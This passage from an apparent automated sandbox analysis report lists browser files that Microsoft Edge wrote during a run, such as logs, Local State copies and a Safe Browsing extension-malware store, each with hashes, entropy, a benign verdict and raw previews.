Preview:	7....-...........4.......8.>...........4......A..."....k.G........b...a.,.......Y.$.........R.......~...I.......w.C.......p.<.......j.6.......b...-...-.....Z...%...6...=...R.........J.......y...D.......r.....k.......................................4.)M.www.scribd.com...n.V.y.....0(......2.I....1b.,4.)M.www.scribd.com...@...(.R.\..dAL...(L.s,...t...4.)M.www.scribd.com.....aM.$.!..@?&X..pv.q$..Z....4.)M.www.scribd.com.I.....5...4.."8..=../SJ[...JN....4.)M.www.scribd.com.o).#.`.q....Q-...R.....l.hD..0..4.)M.www.scribd.com(..Da/.A.mn..M@.4`Gb....v.dC@`...4.)M.www.scribd.com.....8...[%2...eSq.z.U.....6....4.)M.www.scribd.com..ef...:.E...d..D............................................................................................................................................................................4.)M.www.scribd.com...'...C.\|.Yvk..FW[.f$Ww.8.uR....34.)M.www.scribd.com...8z.L]..P..QP9s7.............-4.)M.www.scribd.com,.....PP{&iC...8....HW0n.h\.....4.)M.www.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	789
Entropy (8bit):	3.4982926213191003
Encrypted:	false
SSDEEP:	12:Wlc8NOuuuuuuuuuuuuuuuuuuuuulllzPKHU8LTSlkTSlkTSlkTSlkT:iDdlzPX999
MD5:	32ABB6EBF580377D1B3E7B90FFE8A971
SHA1:	37AB1EA0569EEA7431E259D78527162BE6232933
SHA-256:	DA71A4B0BAD6F614D5AEB8286333AECD334796A5E4913FD11E3BC9CE3CD593D9
SHA-512:	4F2D66BAB3EEFC0CF945D9AE36CFDF02103AC07FEBB0ABF550190AB7BC5B3214F605CCC7626779282299903605E36A1A631B5FA626D4AC1B894A73358425556B
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..}0................39_config..........6.....n ....1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=..................#;...............#38_h.......6.Z..W.F........................V.e................V.e...................0................39_config..........6.....n ...12B.l...............2B.l...............2B.l...............2B.l...............2B.l...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.19581368650494
Encrypted:	false
SSDEEP:	6:iOXfcfyAq2P923oH+TcwtfrK+IFUtFfcfyMhZmw7fcfyM7kwO923oH+TcwtfrUed:7WyAv4Yeb23FUt0yw/qy45LYeb3J
MD5:	DCB60646CE247E88C4DD986220BD09D6
SHA1:	858072F1C13708F74E5F07D5F2274A72E8E5F374
SHA-256:	A058920886736145A21A49C87199B45F7A6FC2EB3D6D75AE1BA3377081E9477D
SHA-512:	A2CE0744E967F7B93A039BD6A57470416A0B5921BF83C0F500DA7034B4892FAFCD555BA757C6A2424C788ED2FA7549F794C43B65D29938963772F285484F0266
Malicious:	false
Preview:	2025/02/18-02:19:51.532 140 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2025/02/18-02:19:51.533 140 Recovering log #3.2025/02/18-02:19:51.533 140 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.19581368650494
Encrypted:	false
SSDEEP:	6:iOXfcfyAq2P923oH+TcwtfrK+IFUtFfcfyMhZmw7fcfyM7kwO923oH+TcwtfrUed:7WyAv4Yeb23FUt0yw/qy45LYeb3J
MD5:	DCB60646CE247E88C4DD986220BD09D6
SHA1:	858072F1C13708F74E5F07D5F2274A72E8E5F374
SHA-256:	A058920886736145A21A49C87199B45F7A6FC2EB3D6D75AE1BA3377081E9477D
SHA-512:	A2CE0744E967F7B93A039BD6A57470416A0B5921BF83C0F500DA7034B4892FAFCD555BA757C6A2424C788ED2FA7549F794C43B65D29938963772F285484F0266
Malicious:	false
Preview:	2025/02/18-02:19:51.532 140 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2025/02/18-02:19:51.533 140 Recovering log #3.2025/02/18-02:19:51.533 140 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	787
Entropy (8bit):	4.059252238767438
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z3p/Uz0RuWlJhC+lvBavRtin01zvZDEtlkyBrgxvB1ys:G0nYUtypD3RUovhC+lvBOL+t3IvB8s
MD5:	D8D8899761F621B63AD5ED6DF46D22FE
SHA1:	23E6A39058AB3C1DEADC0AF2E0FFD0D84BB7F1BE
SHA-256:	A5E0A78EE981FB767509F26021E1FA3C506F4E86860946CAC1DC4107EB3B3813
SHA-512:	4F89F556138C0CF24D3D890717EB82067C5269063C84229E93F203A22028782902FA48FB0154F53E06339F2FDBE35A985CE728235EA429D8D157090D25F15A4E
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....,.1..................19_.....QL.s.................18_.....<.J\|.................37_...... .A.................38_..........................39_........].................20_.....Owa..................20_.....`..N.................19_.....D8.X.................18_......`...................37_..........................38_......\e..................39_.....dz.\|.................9_.....'\c..................9_.......f-.................__global... .\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.173062747101723
Encrypted:	false
SSDEEP:	6:iOXfcfyEURAq2P923oH+TcwtfrzAdIFUtFfcfyEURhZmw7fcfyEUR7kwO923oH++:7WyzAv4Yeb9FUt0yzh/qyz75LYeb2J
MD5:	E629B32DE5BEE87319F10F70A98FF460
SHA1:	26798EDE6CE1710B5D4AD26646085AFF66207075
SHA-256:	BB6771F18F96D6CA20ED0BC5C7F546E73F3DE904625F266C85D1462B260D33F2
SHA-512:	EC344F8AF01E6B9CF0091AE6CD0B978EB4708F97BD8DFC6281D70907FA883512131BB5E740FD81676F1590F5E12FA3A1908C6843DB71EFEA3B6A068ECB234207
Malicious:	false
Preview:	2025/02/18-02:19:51.529 140 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2025/02/18-02:19:51.529 140 Recovering log #3.2025/02/18-02:19:51.529 140 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.173062747101723
Encrypted:	false
SSDEEP:	6:iOXfcfyEURAq2P923oH+TcwtfrzAdIFUtFfcfyEURhZmw7fcfyEUR7kwO923oH++:7WyzAv4Yeb9FUt0yzh/qyz75LYeb2J
MD5:	E629B32DE5BEE87319F10F70A98FF460
SHA1:	26798EDE6CE1710B5D4AD26646085AFF66207075
SHA-256:	BB6771F18F96D6CA20ED0BC5C7F546E73F3DE904625F266C85D1462B260D33F2
SHA-512:	EC344F8AF01E6B9CF0091AE6CD0B978EB4708F97BD8DFC6281D70907FA883512131BB5E740FD81676F1590F5E12FA3A1908C6843DB71EFEA3B6A068ECB234207
Malicious:	false
Preview:	2025/02/18-02:19:51.529 140 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2025/02/18-02:19:51.529 140 Recovering log #3.2025/02/18-02:19:51.529 140 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090749539894937
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM3wuF9hDO6vP6O+Wtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEL6Dtbz8hu3VlXr4CRo1
MD5:	84346C31C9259B52AE3FFFC6D76AE212
SHA1:	B67545890F6A127469B8F15DC6CE9CFB08023DD3
SHA-256:	DC2F2A605409FF446A462DDBCAB727D5224F4250D68DDA16334B2DAF284E247C
SHA-512:	E96E0F9A7C83A926D12505FA0EE178164C21E9B816B11E60E96D6D8252E6D89B366B5FF4234A619F27944D5653596604A4CC21CC04DA8D194C1339D0CD09D68A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF335a7.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090749539894937
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM3wuF9hDO6vP6O+Wtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEL6Dtbz8hu3VlXr4CRo1
MD5:	84346C31C9259B52AE3FFFC6D76AE212
SHA1:	B67545890F6A127469B8F15DC6CE9CFB08023DD3
SHA-256:	DC2F2A605409FF446A462DDBCAB727D5224F4250D68DDA16334B2DAF284E247C
SHA-512:	E96E0F9A7C83A926D12505FA0EE178164C21E9B816B11E60E96D6D8252E6D89B366B5FF4234A619F27944D5653596604A4CC21CC04DA8D194C1339D0CD09D68A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF35c5a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090749539894937
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM3wuF9hDO6vP6O+Wtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEL6Dtbz8hu3VlXr4CRo1
MD5:	84346C31C9259B52AE3FFFC6D76AE212
SHA1:	B67545890F6A127469B8F15DC6CE9CFB08023DD3
SHA-256:	DC2F2A605409FF446A462DDBCAB727D5224F4250D68DDA16334B2DAF284E247C
SHA-512:	E96E0F9A7C83A926D12505FA0EE178164C21E9B816B11E60E96D6D8252E6D89B366B5FF4234A619F27944D5653596604A4CC21CC04DA8D194C1339D0CD09D68A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF38a8e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090749539894937
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM3wuF9hDO6vP6O+Wtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEL6Dtbz8hu3VlXr4CRo1
MD5:	84346C31C9259B52AE3FFFC6D76AE212
SHA1:	B67545890F6A127469B8F15DC6CE9CFB08023DD3
SHA-256:	DC2F2A605409FF446A462DDBCAB727D5224F4250D68DDA16334B2DAF284E247C
SHA-512:	E96E0F9A7C83A926D12505FA0EE178164C21E9B816B11E60E96D6D8252E6D89B366B5FF4234A619F27944D5653596604A4CC21CC04DA8D194C1339D0CD09D68A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4462d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090749539894937
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM3wuF9hDO6vP6O+Wtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEL6Dtbz8hu3VlXr4CRo1
MD5:	84346C31C9259B52AE3FFFC6D76AE212
SHA1:	B67545890F6A127469B8F15DC6CE9CFB08023DD3
SHA-256:	DC2F2A605409FF446A462DDBCAB727D5224F4250D68DDA16334B2DAF284E247C
SHA-512:	E96E0F9A7C83A926D12505FA0EE178164C21E9B816B11E60E96D6D8252E6D89B366B5FF4234A619F27944D5653596604A4CC21CC04DA8D194C1339D0CD09D68A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4ade0.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090749539894937
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM3wuF9hDO6vP6O+Wtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEL6Dtbz8hu3VlXr4CRo1
MD5:	84346C31C9259B52AE3FFFC6D76AE212
SHA1:	B67545890F6A127469B8F15DC6CE9CFB08023DD3
SHA-256:	DC2F2A605409FF446A462DDBCAB727D5224F4250D68DDA16334B2DAF284E247C
SHA-512:	E96E0F9A7C83A926D12505FA0EE178164C21E9B816B11E60E96D6D8252E6D89B366B5FF4234A619F27944D5653596604A4CC21CC04DA8D194C1339D0CD09D68A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Safe Browsing\ChromeExtMalware.store (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2040017
Entropy (8bit):	4.001531794793107
Encrypted:	false
SSDEEP:	49152:GdXuA1yTRKD+FxwOoha+gt+4mMaoRmGL82b4SXfUxVKXeGFiNST4qImw9KBlaCkM:F
MD5:	C4D2C4B2B1602B47D802F3E3EE0CA8A2
SHA1:	946292029479588BBD887CF25BA3A2B89EB2DDD6
SHA-256:	CA88C66BE784EECBD6A93FB22FC3DE02671BB1F0491FB2214D0A5771DDA335AD
SHA-512:	89EBB20D13F4281A0F74DEA6EE598C6C6A18B24868744111E298F7D8C559BC3A0CFA7602F6690CBE2838441CFF4F7E797EF53E42B941732597152E583493D265
Malicious:	false
Preview:	.........\| .*..\|.....\|. ...\|aaaaagfgdnjcdkncmfkfinnjaiapdblgaaaaaogokkamlflcoccdihncmbgcmflnaaaaaoipnhppjgickhnmdbgfbicakiamaaaaapdcjfaomkafnbpoclmfakjianjdaaaaapiecopgelmleoolpjapkgpglkcbaaaabcdhikdcpainmmjceakmkacogdkoaaaabdgnnajpalbdkkdnknbbbmndbilaaaaabfkbnfjnjldicllofdmjchdancccaaaabgphkbebbdbcibgbppdidkelfoigaaaabibhgjnbdelbcijfciclijhdkgohaaaabmldebjdieoplgdecloipkabiibcaaaaboojhahjgdjeknnemneiajjhhddiaaaabpccljmmhilhhndnjkobdedbpkjpaaaacmnkhlfjgehagffhnhdjfankefglaaaacnnimempmlomnnhdkimkfahjplfpaaaadbhonifkcheeddllhmpapnhcpgiaaaaadbkccgigjdmfmdhgikcckicldhjbaaaadbolalgmogecpogmlebfkpigmpdjaaaaehbfjkafkfgppkjageehakfakfbmaaaaehbppmedegafehiimempeifadcinaaaageoepbmnopkkfeadndbijdghellgaaaagfdmgcibcnlmgiipapnfocaocfneaaaagjojmcedjoignaljgmnihajfhhlpaaaaglldojfgdeaijnfefaggkfjekomeaaaaiihjniipljfegaknmbkneamnoajdaaaainjigbjlofcjekbnjnpiegecbnbaaaaaiognmpgbjoffachmpnnppfnokcbeaaaajcpbcbckoiafnblkdhnldokclbhiaaaajfoihhopfmnlhlnlhogjonmllocoaaaajhoimomebpcfopjpgkbbjdnldoihaaaakdafje

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Safe Browsing\ChromeExtMalware.store_new

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2040017
Entropy (8bit):	4.001531794793107
Encrypted:	false
SSDEEP:	49152:GdXuA1yTRKD+FxwOoha+gt+4mMaoRmGL82b4SXfUxVKXeGFiNST4qImw9KBlaCkM:F
MD5:	C4D2C4B2B1602B47D802F3E3EE0CA8A2
SHA1:	946292029479588BBD887CF25BA3A2B89EB2DDD6
SHA-256:	CA88C66BE784EECBD6A93FB22FC3DE02671BB1F0491FB2214D0A5771DDA335AD
SHA-512:	89EBB20D13F4281A0F74DEA6EE598C6C6A18B24868744111E298F7D8C559BC3A0CFA7602F6690CBE2838441CFF4F7E797EF53E42B941732597152E583493D265
Malicious:	false
